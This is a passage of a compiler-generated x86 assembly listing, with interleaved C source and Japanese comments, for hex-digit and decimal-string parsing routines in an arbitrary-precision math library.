; COMDAT _BuildLeading1WordFromHexString
_TEXT SEGMENT
_in_ptr$ = 8 ; size = 4
_count$ = 12 ; size = 4
_BuildLeading1WordFromHexString PROC ; COMDAT
; 900 : {
push ebp
mov ebp, esp
push esi
; 901 : __UNIT_TYPE x = Parse1DigitFromHexChar(*in_ptr);
mov esi, DWORD PTR _in_ptr$[ebp]
push edi
movzx eax, WORD PTR [esi]
push eax
call _Parse1DigitFromHexChar
; 902 : ++in_ptr;
; 903 : --count;
mov edi, DWORD PTR _count$[ebp]
add esp, 4
add esi, 2
mov edx, eax
sub edi, 1
; 904 : while (count > 0)
je SHORT $LN3@BuildLeadi
$LL2@BuildLeadi:
; 905 : {
; 906 : x = x * 16 + Parse1DigitFromHexChar(*in_ptr);
movzx ecx, WORD PTR [esi]
; 867 : switch (c)
lea eax, DWORD PTR [ecx-48]
cmp eax, 54 ; 00000036H
ja SHORT $LN11@BuildLeadi
movzx eax, BYTE PTR $LN17@BuildLeadi[eax]
jmp DWORD PTR $LN20@BuildLeadi[eax*4]
$LN8@BuildLeadi:
; 868 : {
; 869 : case L'0':
; 870 : case L'1':
; 871 : case L'2':
; 872 : case L'3':
; 873 : case L'4':
; 874 : case L'5':
; 875 : case L'6':
; 876 : case L'7':
; 877 : case L'8':
; 878 : case L'9':
; 879 : return (c - L'0');
lea eax, DWORD PTR [ecx-48]
jmp SHORT $LN5@BuildLeadi
$LN9@BuildLeadi:
; 880 : case L'a':
; 881 : case L'b':
; 882 : case L'c':
; 883 : case L'd':
; 884 : case L'e':
; 885 : case L'f':
; 886 : return (c - L'a' + 10);
lea eax, DWORD PTR [ecx-87]
jmp SHORT $LN5@BuildLeadi
$LN10@BuildLeadi:
; 887 : case L'A':
; 888 : case L'B':
; 889 : case L'C':
; 890 : case L'D':
; 891 : case L'E':
; 892 : case L'F':
; 893 : return (c - L'A' + 10);
lea eax, DWORD PTR [ecx-55]
jmp SHORT $LN5@BuildLeadi
$LN11@BuildLeadi:
; 894 : default:
; 895 : return ((_UINT32_T)-1);
or eax, -1
$LN5@BuildLeadi:
; 905 : {
; 906 : x = x * 16 + Parse1DigitFromHexChar(*in_ptr);
shl edx, 4
; 907 : ++in_ptr;
add esi, 2
add edx, eax
; 908 : --count;
sub edi, 1
jne SHORT $LL2@BuildLeadi
; 909 : }
; 910 : return (x);
mov eax, edx
$LN3@BuildLeadi:
pop edi
; 911 : }
pop esi
pop ebp
ret 0
npad 1
$LN20@BuildLeadi:
DD $LN8@BuildLeadi
DD $LN10@BuildLeadi
DD $LN9@BuildLeadi
DD $LN11@BuildLeadi
$LN17@BuildLeadi:
DB 0
DB 0
DB 0
DB 0
DB 0
DB 0
DB 0
DB 0
DB 0
DB 0
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 1
DB 1
DB 1
DB 1
DB 1
DB 1
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 2
DB 2
DB 2
DB 2
DB 2
DB 2
_BuildLeading1WordFromHexString ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; COMDAT _Parse1DigitFromHexChar
_TEXT SEGMENT
_c$ = 8 ; size = 2
_Parse1DigitFromHexChar PROC ; COMDAT
; 866 : {
push ebp
mov ebp, esp
; 867 : switch (c)
movzx edx, WORD PTR _c$[ebp]
lea eax, DWORD PTR [edx-48]
cmp eax, 54 ; 00000036H
ja SHORT $LN7@Parse1Digi
movzx ecx, BYTE PTR $LN9@Parse1Digi[eax]
jmp DWORD PTR $LN11@Parse1Digi[ecx*4]
$LN5@Parse1Digi:
; 868 : {
; 869 : case L'0':
; 870 : case L'1':
; 871 : case L'2':
; 872 : case L'3':
; 873 : case L'4':
; 874 : case L'5':
; 875 : case L'6':
; 876 : case L'7':
; 877 : case L'8':
; 878 : case L'9':
; 879 : return (c - L'0');
; 880 : case L'a':
; 881 : case L'b':
; 882 : case L'c':
; 883 : case L'd':
; 884 : case L'e':
; 885 : case L'f':
; 886 : return (c - L'a' + 10);
lea eax, DWORD PTR [edx-87]
; 896 : }
; 897 : }
pop ebp
ret 0
$LN6@Parse1Digi:
; 887 : case L'A':
; 888 : case L'B':
; 889 : case L'C':
; 890 : case L'D':
; 891 : case L'E':
; 892 : case L'F':
; 893 : return (c - L'A' + 10);
lea eax, DWORD PTR [edx-55]
; 896 : }
; 897 : }
pop ebp
ret 0
$LN7@Parse1Digi:
; 894 : default:
; 895 : return ((_UINT32_T)-1);
or eax, -1
$LN1@Parse1Digi:
; 896 : }
; 897 : }
pop ebp
ret 0
$LN11@Parse1Digi:
DD $LN1@Parse1Digi
DD $LN6@Parse1Digi
DD $LN5@Parse1Digi
DD $LN7@Parse1Digi
$LN9@Parse1Digi:
DB 0
DB 0
DB 0
DB 0
DB 0
DB 0
DB 0
DB 0
DB 0
DB 0
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 1
DB 1
DB 1
DB 1
DB 1
DB 1
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 3
DB 2
DB 2
DB 2
DB 2
DB 2
DB 2
_Parse1DigitFromHexChar ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; COMDAT _TryParseDN
_TEXT SEGMENT
_no_light_check_code$ = -60 ; size = 4
_bin_buf_code$ = -56 ; size = 4
_result$4$ = -52 ; size = 4
_int_part_buf$1$ = -52 ; size = 4
_work_buf_code$1 = -52 ; size = 4
_in_ptr$1$ = -48 ; size = 4
_out_buf$1$ = -48 ; size = 4
tv976 = -44 ; size = 4
_work_buf_words$2 = -44 ; size = 4
_work_buf$1$ = -40 ; size = 4
_r$1$ = -40 ; size = 4
tv977 = -40 ; size = 4
_frac_part_buf_code$ = -36 ; size = 4
_int_part_buf_code$ = -32 ; size = 4
_source_count$1$ = -28 ; size = 4
_in_buf_count$1$ = -28 ; size = 4
tv997 = -28 ; size = 4
_result_parsing$1$ = -28 ; size = 4
_bin_buf_words$ = -24 ; size = 4
_bin_buf$1$ = -20 ; size = 4
_sign$ = -20 ; size = 4
_bin_buf_count$1$ = -16 ; size = 4
_result$5$ = -16 ; size = 4
_in_ptr$1$ = -12 ; size = 4
_frac_part_buf_words$ = -8 ; size = 4
_int_part_buf_words$ = -4 ; size = 4
_source$ = 8 ; size = 4
_number_styles$ = 12 ; size = 4
_format_option$ = 16 ; size = 4
_o$ = 20 ; size = 4
_TryParseDN PROC ; COMDAT
; 722 : {
push ebp
mov ebp, esp
sub esp, 60 ; 0000003cH
push ebx
push esi
push edi
; 723 : PMC_STATUS_CODE result;
; 724 : #ifdef _M_IX86
; 725 : int word_digit_count = 9;
; 726 : #elif defined(_M_IX64)
; 727 : int word_digit_count = 19;
; 728 : #else
; 729 : #error unknown platform
; 730 : #endif
; 731 : __UNIT_TYPE source_len = lstrlenW(source);
push DWORD PTR _source$[ebp]
mov edi, DWORD PTR __imp__lstrlenW@4
call edi
; 732 :
; 733 : __UNIT_TYPE int_part_buf_code;
; 734 : __UNIT_TYPE int_part_buf_words;
; 735 : wchar_t* int_part_buf = (wchar_t*)AllocateBlock((source_len + 1) * sizeof(wchar_t) * 8, &int_part_buf_words, &int_part_buf_code);
lea esi, DWORD PTR [eax+1]
lea eax, DWORD PTR _int_part_buf_code$[ebp]
shl esi, 4
push eax
lea eax, DWORD PTR _int_part_buf_words$[ebp]
push eax
push esi
call _AllocateBlock
mov ebx, eax
add esp, 12 ; 0000000cH
mov DWORD PTR _int_part_buf$1$[ebp], ebx
; 736 : if (int_part_buf == NULL)
test ebx, ebx
je SHORT $LN87@TryParseDN
; 737 : return (PMC_STATUS_NOT_ENOUGH_MEMORY);
; 738 :
; 739 : __UNIT_TYPE frac_part_buf_code;
; 740 : __UNIT_TYPE frac_part_buf_words;
; 741 : wchar_t* frac_part_buf = (wchar_t*)AllocateBlock((source_len + 1) * sizeof(wchar_t) * 8, &frac_part_buf_words, &frac_part_buf_code);
lea eax, DWORD PTR _frac_part_buf_code$[ebp]
push eax
lea eax, DWORD PTR _frac_part_buf_words$[ebp]
push eax
push esi
call _AllocateBlock
mov esi, eax
add esp, 12 ; 0000000cH
; 742 : if (frac_part_buf == NULL)
test esi, esi
jne SHORT $LN10@TryParseDN
$LN88@TryParseDN:
; 862 : }
push DWORD PTR _int_part_buf_words$[ebp]
push ebx
call _DeallocateBlock
add esp, 8
$LN87@TryParseDN:
pop edi
pop esi
mov eax, -5 ; fffffffbH
pop ebx
mov esp, ebp
pop ebp
ret 0
$LN10@TryParseDN:
; 743 : {
; 744 : DeallocateBlock((__UNIT_TYPE*)int_part_buf, int_part_buf_words);
; 745 : return (PMC_STATUS_NOT_ENOUGH_MEMORY);
; 746 : }
; 747 : int sign;
; 748 : int result_parsing = ParseAsDecimalNumberString(source, number_styles, format_option, &sign, int_part_buf, frac_part_buf);
push esi
push ebx
lea eax, DWORD PTR _sign$[ebp]
push eax
push DWORD PTR _format_option$[ebp]
push DWORD PTR _number_styles$[ebp]
push DWORD PTR _source$[ebp]
call _ParseAsDecimalNumberString
; 749 : if ((result = CheckBlockLight((__UNIT_TYPE*)int_part_buf, int_part_buf_code)) != PMC_STATUS_OK)
push DWORD PTR _int_part_buf_code$[ebp]
mov DWORD PTR _result_parsing$1$[ebp], eax
push ebx
call _CheckBlockLight
add esp, 32 ; 00000020H
test eax, eax
jne $LN1@TryParseDN
; 750 : return (result);
; 751 : if ((result = CheckBlockLight((__UNIT_TYPE*)frac_part_buf, frac_part_buf_code)) != PMC_STATUS_OK)
push DWORD PTR _frac_part_buf_code$[ebp]
push esi
call _CheckBlockLight
add esp, 8
test eax, eax
jne $LN1@TryParseDN
; 752 : return (result);
; 753 : if (!result_parsing)
cmp DWORD PTR _result_parsing$1$[ebp], eax
je SHORT $LN89@TryParseDN
; 754 : {
; 755 : DeallocateBlock((__UNIT_TYPE*)frac_part_buf, frac_part_buf_words);
; 756 : DeallocateBlock((__UNIT_TYPE*)int_part_buf, int_part_buf_words);
; 757 : return (PMC_STATUS_PARSING_ERROR);
; 758 : }
; 759 : // 整数部と小数部がともに空ならばエラーとする
; 760 : if (int_part_buf[0] == L'\0' && frac_part_buf[0] == L'\0')
movzx eax, WORD PTR [ebx]
test ax, ax
jne SHORT $LN73@TryParseDN
cmp WORD PTR [esi], ax
jne SHORT $LN60@TryParseDN
$LN89@TryParseDN:
; 862 : }
push DWORD PTR _frac_part_buf_words$[ebp]
push esi
call _DeallocateBlock
push DWORD PTR _int_part_buf_words$[ebp]
push ebx
call _DeallocateBlock
add esp, 16 ; 00000010H
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0
$LN73@TryParseDN:
; 761 : {
; 762 : DeallocateBlock((__UNIT_TYPE*)frac_part_buf, frac_part_buf_words);
; 763 : DeallocateBlock((__UNIT_TYPE*)int_part_buf, int_part_buf_words);
; 764 : return (PMC_STATUS_PARSING_ERROR);
; 765 : }
; 766 :
; 767 : if (int_part_buf[0] == L'0')
cmp eax, 48 ; 00000030H
jne SHORT $LN60@TryParseDN
; 768 : {
; 769 : // 整数部の先行する 0 を削除する
; 770 : wchar_t* s_ptr = int_part_buf;
mov eax, ebx
; 771 : wchar_t* d_ptr = int_part_buf;
mov edx, ebx
npad 2
$LL2@TryParseDN:
; 772 : while (*s_ptr == L'0')
movzx ecx, WORD PTR [eax+2]
; 773 : ++s_ptr;
add eax, 2
cmp ecx, 48 ; 00000030H
je SHORT $LL2@TryParseDN
; 774 : for (;;)
; 775 : {
; 776 : *d_ptr = *s_ptr;
mov WORD PTR [ebx], cx
; 777 : if (*s_ptr == L'\0')
cmp WORD PTR [eax], 0
je SHORT $LN60@TryParseDN
$LL4@TryParseDN:
; 774 : for (;;)
; 775 : {
; 776 : *d_ptr = *s_ptr;
mov cx, WORD PTR [eax+2]
; 778 : break;
; 779 : ++s_ptr;
lea eax, DWORD PTR [eax+2]
; 780 : ++d_ptr;
lea edx, DWORD PTR [edx+2]
mov WORD PTR [edx], cx
cmp WORD PTR [eax], 0
jne SHORT $LL4@TryParseDN
$LN60@TryParseDN:
; 781 : }
; 782 : }
; 783 :
; 784 : // 小数部の末尾の 0 を削除する
; 785 : wchar_t* frac_ptr = frac_part_buf + lstrlenW(frac_part_buf);
push esi
call edi
lea eax, DWORD PTR [esi+eax*2]
; 786 : while (frac_ptr > frac_part_buf && frac_ptr[-1] == L'0')
cmp eax, esi
jbe SHORT $LN84@TryParseDN
$LL7@TryParseDN:
cmp WORD PTR [eax-2], 48 ; 00000030H
jne SHORT $LN84@TryParseDN
; 787 : --frac_ptr;
add eax, -2 ; fffffffeH
cmp eax, esi
ja SHORT $LL7@TryParseDN
$LN84@TryParseDN:
; 788 : *frac_ptr = L'\0';
xor ecx, ecx
mov WORD PTR [eax], cx
; 789 :
; 790 : // 小数部が 0 ではない場合、エラーとする
; 791 : if (frac_part_buf[0] != L'\0')
cmp WORD PTR [esi], cx
jne SHORT $LN89@TryParseDN
; 792 : {
; 793 : DeallocateBlock((__UNIT_TYPE*)frac_part_buf, frac_part_buf_words);
; 794 : DeallocateBlock((__UNIT_TYPE*)int_part_buf, int_part_buf_words);
; 795 : return (PMC_STATUS_PARSING_ERROR);
; 796 : }
; 797 :
; 798 : if (sign < 0)
movzx eax, WORD PTR [ebx]
cmp DWORD PTR _sign$[ebp], ecx
jge SHORT $LN74@TryParseDN
; 799 : {
; 800 : if (int_part_buf[0] == L'\0')
test ax, ax
je SHORT $LN82@TryParseDN
; 801 : {
; 802 : // - 符号が与えられていてかつ整数部が 0 であるなら符号を修正する
; 803 : sign = 0;
; 804 : }
; 805 : else
; 806 : {
; 807 : // - 符号が与えられていてかつ整数部が 0 ではないなら、エラーとする
; 808 : DeallocateBlock((__UNIT_TYPE*)frac_part_buf, frac_part_buf_words);
push DWORD PTR _frac_part_buf_words$[ebp]
push esi
call _DeallocateBlock
; 809 : DeallocateBlock((__UNIT_TYPE*)int_part_buf, int_part_buf_words);
push DWORD PTR _int_part_buf_words$[ebp]
push ebx
call _DeallocateBlock
add esp, 16 ; 00000010H
; 810 : return (PMC_STATUS_OVERFLOW);
mov eax, -2 ; fffffffeH
pop edi
; 862 : }
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0
$LN74@TryParseDN:
; 811 : }
; 812 : }
; 813 :
; 814 : // 整数部が空である場合、1桁の 0 を設定する
; 815 : if (int_part_buf[0] == L'\0')
test ax, ax
jne SHORT $LN21@TryParseDN
$LN82@TryParseDN:
; 816 : {
; 817 : int_part_buf[0] = L'0';
mov DWORD PTR [ebx], 48 ; 00000030H
$LN21@TryParseDN:
; 818 : int_part_buf[1] = L'\0';
; 819 : }
; 820 :
; 821 : // 小数部は捨てる
; 822 : DeallocateBlock((__UNIT_TYPE*)frac_part_buf, frac_part_buf_words);
push DWORD PTR _frac_part_buf_words$[ebp]
push esi
call _DeallocateBlock
add esp, 8
; 826 : __UNIT_TYPE* bin_buf = AllocateBlock(_DIVIDE_CEILING_SIZE(lstrlenW(int_part_buf), word_digit_count) * __UNIT_TYPE_BIT_COUNT, &bin_buf_words, &bin_buf_code);
push ebx
call edi
lea ecx, DWORD PTR _bin_buf_code$[ebp]
push ecx
lea ecx, DWORD PTR _bin_buf_words$[ebp]
push ecx
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 199 : return ((u + v - 1) / v);
lea ecx, DWORD PTR [eax+8]
mov eax, 954437177 ; 38e38e39H
mul ecx
shr edx, 1
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; 826 : __UNIT_TYPE* bin_buf = AllocateBlock(_DIVIDE_CEILING_SIZE(lstrlenW(int_part_buf), word_digit_count) * __UNIT_TYPE_BIT_COUNT, &bin_buf_words, &bin_buf_code);
shl edx, 5
push edx
call _AllocateBlock
mov edi, eax
add esp, 12 ; 0000000cH
mov DWORD PTR _bin_buf$1$[ebp], edi
; 827 : if (bin_buf == NULL)
test edi, edi
je $LN88@TryParseDN
; 359 : __UNIT_TYPE* out_ptr = out_buf;
mov esi, edi
mov DWORD PTR _in_ptr$1$[ebp], ebx
; 360 : __UNIT_TYPE source_count = lstrlenW(source);
push ebx
mov DWORD PTR _bin_buf_count$1$[ebp], esi
call DWORD PTR __imp__lstrlenW@4
; 361 : int r = source_count % word_digit_count;
xor edx, edx
mov DWORD PTR _source_count$1$[ebp], eax
mov ecx, 9
div ecx
mov ecx, edx
mov DWORD PTR _r$1$[ebp], ecx
; 362 : if (r > 0)
test ecx, ecx
jle SHORT $LN85@TryParseDN
; 303 : __UNIT_TYPE x = 0;
xor eax, eax
; 364 : *out_ptr++ = BuildLeading1WordFromDecimalString(in_ptr, r);
mov esi, ebx
; 304 : while (count > 0)
test ecx, ecx
je SHORT $LN38@TryParseDN
npad 5
$LL37@TryParseDN:
; 305 : {
; 306 : x = x * 10 + (*in_ptr++ - L'0');
lea ecx, DWORD PTR [eax+eax*4]
movzx eax, WORD PTR [esi]
lea esi, DWORD PTR [esi+2]
lea eax, DWORD PTR [eax+ecx*2]
add eax, -48 ; ffffffd0H
; 307 : --count;
sub edx, 1
jne SHORT $LL37@TryParseDN
mov ecx, DWORD PTR _r$1$[ebp]
$LN38@TryParseDN:
; 364 : *out_ptr++ = BuildLeading1WordFromDecimalString(in_ptr, r);
mov DWORD PTR [edi], eax
lea esi, DWORD PTR [edi+4]
; 365 : in_ptr += r;
lea eax, DWORD PTR [ebx+ecx*2]
mov DWORD PTR _bin_buf_count$1$[ebp], esi
mov DWORD PTR _in_ptr$1$[ebp], eax
; 366 : source_count -= r;
mov eax, DWORD PTR _source_count$1$[ebp]
sub eax, ecx
jmp SHORT $LN83@TryParseDN
$LN85@TryParseDN:
; 362 : if (r > 0)
mov eax, DWORD PTR _source_count$1$[ebp]
$LN83@TryParseDN:
; 367 : }
; 368 : while (source_count > 0)
test eax, eax
je $LN33@TryParseDN
lea ecx, DWORD PTR [eax-1]
mov eax, 954437177 ; 38e38e39H
mul ecx
mov eax, edx
shr eax, 1
inc eax
mov DWORD PTR tv997[ebp], eax
mov eax, DWORD PTR _in_ptr$1$[ebp]
npad 4
$LL32@TryParseDN:
; 330 : x = x * 10 + (*in_ptr++ - L'0');
movzx esi, WORD PTR [eax+2]
lea ecx, DWORD PTR [eax+2]
; 331 : x = x * 10 + (*in_ptr++ - L'0');
; 332 : x = x * 10 + (*in_ptr++ - L'0');
; 333 : x = x * 10 + (*in_ptr++ - L'0');
; 334 : x = x * 10 + (*in_ptr++ - L'0');
movzx eax, WORD PTR [ecx+8]
movzx edx, WORD PTR [ecx+2]
movzx edi, WORD PTR [ecx+4]
movzx ebx, WORD PTR [ecx+6]
mov DWORD PTR tv977[ebp], eax
; 335 : }
; 336 : if (sizeof(__UNIT_TYPE) >= sizeof(_UINT16_T))
; 337 : {
; 338 : x = x * 10 + (*in_ptr++ - L'0');
movzx eax, WORD PTR [ecx+10]
add ecx, 12 ; 0000000cH
mov DWORD PTR tv976[ebp], eax
mov eax, DWORD PTR _in_ptr$1$[ebp]
mov DWORD PTR _in_ptr$1$[ebp], ecx
movzx eax, WORD PTR [eax]
; 339 : x = x * 10 + (*in_ptr++ - L'0');
lea ecx, DWORD PTR [eax+eax*4]
; 340 : }
; 341 : if (sizeof(__UNIT_TYPE) >= sizeof(_BYTE_T))
; 342 : {
; 343 : x = x * 10 + (*in_ptr++ - L'0');
lea eax, DWORD PTR [esi+ecx*2]
; 370 : *out_ptr++ = Build1WordFromDecimalString(in_ptr);
mov esi, DWORD PTR _bin_buf_count$1$[ebp]
; 343 : x = x * 10 + (*in_ptr++ - L'0');
lea ecx, DWORD PTR [eax+eax*4]
lea eax, DWORD PTR [edx+ecx*2]
mov edx, DWORD PTR _in_ptr$1$[ebp]
lea ecx, DWORD PTR [eax+eax*4]
lea eax, DWORD PTR [edi+ecx*2]
lea ecx, DWORD PTR [eax+eax*4]
lea eax, DWORD PTR [ebx+ecx*2]
lea ecx, DWORD PTR [eax+eax*4]
mov eax, DWORD PTR tv977[ebp]
movzx eax, ax
lea eax, DWORD PTR [eax+ecx*2]
lea ecx, DWORD PTR [eax+eax*4]
mov eax, DWORD PTR tv976[ebp]
movzx eax, ax
lea eax, DWORD PTR [eax+ecx*2]
lea ecx, DWORD PTR [eax+eax*4]
movzx eax, WORD PTR [edx]
lea eax, DWORD PTR [eax+ecx*2]
lea ecx, DWORD PTR [eax+eax*4]
movzx eax, WORD PTR [edx+2]
lea eax, DWORD PTR [eax+ecx*2]
add eax, -1038366032 ; c21bcab0H
; 370 : *out_ptr++ = Build1WordFromDecimalString(in_ptr);
mov DWORD PTR [esi], eax
add esi, 4
; 371 : in_ptr += word_digit_count;
mov eax, DWORD PTR _in_ptr$1$[ebp]
add eax, 18 ; 00000012H
mov DWORD PTR _bin_buf_count$1$[ebp], esi
sub DWORD PTR tv997[ebp], 1
mov DWORD PTR _in_ptr$1$[ebp], eax
jne $LL32@TryParseDN
mov ebx, DWORD PTR _int_part_buf$1$[ebp]
mov edi, DWORD PTR _bin_buf$1$[ebp]
$LN33@TryParseDN:
; 828 : {
; 829 : DeallocateBlock((__UNIT_TYPE*)int_part_buf, int_part_buf_words);
; 830 : return (PMC_STATUS_NOT_ENOUGH_MEMORY);
; 831 : }
; 832 : __UNIT_TYPE bin_buf_count;
; 833 : BuildBinaryFromDecimalString(int_part_buf, bin_buf, &bin_buf_count);
; 834 : if ((result = CheckBlockLight(bin_buf, bin_buf_code)) != PMC_STATUS_OK)
push DWORD PTR _bin_buf_code$[ebp]
; 374 : *out_buf_count = out_ptr - out_buf;
sub esi, edi
sar esi, 2
; 828 : {
; 829 : DeallocateBlock((__UNIT_TYPE*)int_part_buf, int_part_buf_words);
; 830 : return (PMC_STATUS_NOT_ENOUGH_MEMORY);
; 831 : }
; 832 : __UNIT_TYPE bin_buf_count;
; 833 : BuildBinaryFromDecimalString(int_part_buf, bin_buf, &bin_buf_count);
; 834 : if ((result = CheckBlockLight(bin_buf, bin_buf_code)) != PMC_STATUS_OK)
push edi
; 374 : *out_buf_count = out_ptr - out_buf;
mov DWORD PTR _bin_buf_count$1$[ebp], esi
; 828 : {
; 829 : DeallocateBlock((__UNIT_TYPE*)int_part_buf, int_part_buf_words);
; 830 : return (PMC_STATUS_NOT_ENOUGH_MEMORY);
; 831 : }
; 832 : __UNIT_TYPE bin_buf_count;
; 833 : BuildBinaryFromDecimalString(int_part_buf, bin_buf, &bin_buf_count);
; 834 : if ((result = CheckBlockLight(bin_buf, bin_buf_code)) != PMC_STATUS_OK)
call _CheckBlockLight
add esp, 8
test eax, eax
jne $LN1@TryParseDN
; 835 : return (result);
; 836 : DeallocateBlock((__UNIT_TYPE*)int_part_buf, int_part_buf_words);
push DWORD PTR _int_part_buf_words$[ebp]
push ebx
call _DeallocateBlock
; 837 :
; 838 : __UNIT_TYPE o_bit_count = bin_buf_count * __UNIT_TYPE_BIT_COUNT;
; 839 : __UNIT_TYPE no_light_check_code;
; 840 : if ((result = AllocateNumber(o, o_bit_count, &no_light_check_code)) != PMC_STATUS_OK)
mov ebx, DWORD PTR _o$[ebp]
lea eax, DWORD PTR _no_light_check_code$[ebp]
push eax
shl esi, 5
push esi
push ebx
call _AllocateNumber
add esp, 20 ; 00000014H
mov DWORD PTR _result$4$[ebp], eax
test eax, eax
je SHORT $LN24@TryParseDN
; 841 : {
; 842 : DeallocateBlock(bin_buf, bin_buf_words);
push DWORD PTR _bin_buf_words$[ebp]
push edi
call _DeallocateBlock
; 843 : return (result);
mov eax, DWORD PTR _result$4$[ebp]
add esp, 8
pop edi
; 862 : }
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0
$LN24@TryParseDN:
; 844 : }
; 845 :
; 846 : if ((result = ConvertCardinalNumber(bin_buf, bin_buf_count, (*o)->BLOCK)) != PMC_STATUS_OK)
mov eax, DWORD PTR [ebx]
mov eax, DWORD PTR [eax+32]
mov DWORD PTR _out_buf$1$[ebp], eax
; 698 : __UNIT_TYPE* work_buf = AllocateBlock(__UNIT_TYPE_BIT_COUNT * (in_buf_count + 1), &work_buf_words, &work_buf_code);
lea eax, DWORD PTR _work_buf_code$1[ebp]
push eax
lea eax, DWORD PTR _work_buf_words$2[ebp]
push eax
lea eax, DWORD PTR [esi+32]
push eax
call _AllocateBlock
mov esi, eax
add esp, 12 ; 0000000cH
mov DWORD PTR _work_buf$1$[ebp], esi
; 699 : if (work_buf == NULL)
test esi, esi
jne SHORT $LN49@TryParseDN
; 700 : return (PMC_STATUS_NOT_ENOUGH_MEMORY);
lea eax, DWORD PTR [esi-5]
jmp SHORT $LN86@TryParseDN
$LN49@TryParseDN:
; 701 :
; 702 : __UNIT_TYPE work_buf_count = 1;
; 703 : work_buf[0] = in_buf[0];
mov eax, DWORD PTR [edi]
mov ebx, 1
mov DWORD PTR [esi], eax
; 704 : ++in_buf;
add edi, 4
; 705 : --in_buf_count;
mov eax, DWORD PTR _bin_buf_count$1$[ebp]
add eax, -1
mov DWORD PTR _in_buf_count$1$[ebp], eax
; 706 :
; 707 : while (in_buf_count > 0)
je SHORT $LN48@TryParseDN
$LL47@TryParseDN:
; 708 : {
; 709 : __UNIT_TYPE* w_tail = (*fp_MultiplyAndAdd)(work_buf, work_buf_count, *in_buf);
push DWORD PTR [edi]
push ebx
push esi
call DWORD PTR _fp_MultiplyAndAdd
mov ebx, eax
; 710 : work_buf_count = w_tail - work_buf;
; 711 : ++in_buf;
lea edi, DWORD PTR [edi+4]
sub ebx, esi
add esp, 12 ; 0000000cH
sar ebx, 2
; 712 : --in_buf_count;
sub DWORD PTR _in_buf_count$1$[ebp], 1
jne SHORT $LL47@TryParseDN
$LN48@TryParseDN:
; 713 : }
; 714 : if ((result = CheckBlockLight(work_buf, work_buf_code)) != PMC_STATUS_OK)
push DWORD PTR _work_buf_code$1[ebp]
push esi
call _CheckBlockLight
add esp, 8
mov DWORD PTR _result$5$[ebp], eax
test eax, eax
je SHORT $LN50@TryParseDN
; 715 : return (result);
mov edi, DWORD PTR _bin_buf$1$[ebp]
mov ebx, DWORD PTR _o$[ebp]
jmp SHORT $LN46@TryParseDN
$LN50@TryParseDN:
; 717 : DeallocateBlock(work_buf, work_buf_words);
push DWORD PTR _work_buf_words$2[ebp]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 68 : __movsd((unsigned long *)d, (unsigned long *)s, (unsigned long)count);
mov edi, DWORD PTR _out_buf$1$[ebp]
mov ecx, ebx
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; 717 : DeallocateBlock(work_buf, work_buf_words);
push DWORD PTR _work_buf$1$[ebp]
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 68 : __movsd((unsigned long *)d, (unsigned long *)s, (unsigned long)count);
rep movsd
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; 717 : DeallocateBlock(work_buf, work_buf_words);
call _DeallocateBlock
mov edi, DWORD PTR _bin_buf$1$[ebp]
add esp, 8
mov ebx, DWORD PTR _o$[ebp]
; 718 : return (PMC_STATUS_OK);
xor eax, eax
$LN86@TryParseDN:
; 844 : }
; 845 :
; 846 : if ((result = ConvertCardinalNumber(bin_buf, bin_buf_count, (*o)->BLOCK)) != PMC_STATUS_OK)
mov DWORD PTR _result$5$[ebp], eax
$LN46@TryParseDN:
mov ecx, DWORD PTR [ebx]
test eax, eax
je SHORT $LN25@TryParseDN
; 847 : {
; 848 : DeallocateNumber(*o);
push ecx
call _DeallocateNumber
; 849 : DeallocateBlock(bin_buf, bin_buf_words);
push DWORD PTR _bin_buf_words$[ebp]
push edi
call _DeallocateBlock
; 850 : return (result);
mov eax, DWORD PTR _result$5$[ebp]
add esp, 12 ; 0000000cH
pop edi
; 862 : }
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0
$LN25@TryParseDN:
; 851 : }
; 852 : if ((result = CheckBlockLight((*o)->BLOCK, no_light_check_code)) != PMC_STATUS_OK)
push DWORD PTR _no_light_check_code$[ebp]
push DWORD PTR [ecx+32]
call _CheckBlockLight
add esp, 8
test eax, eax
jne SHORT $LN1@TryParseDN
; 853 : return (result);
; 854 : DeallocateBlock(bin_buf, bin_buf_words);
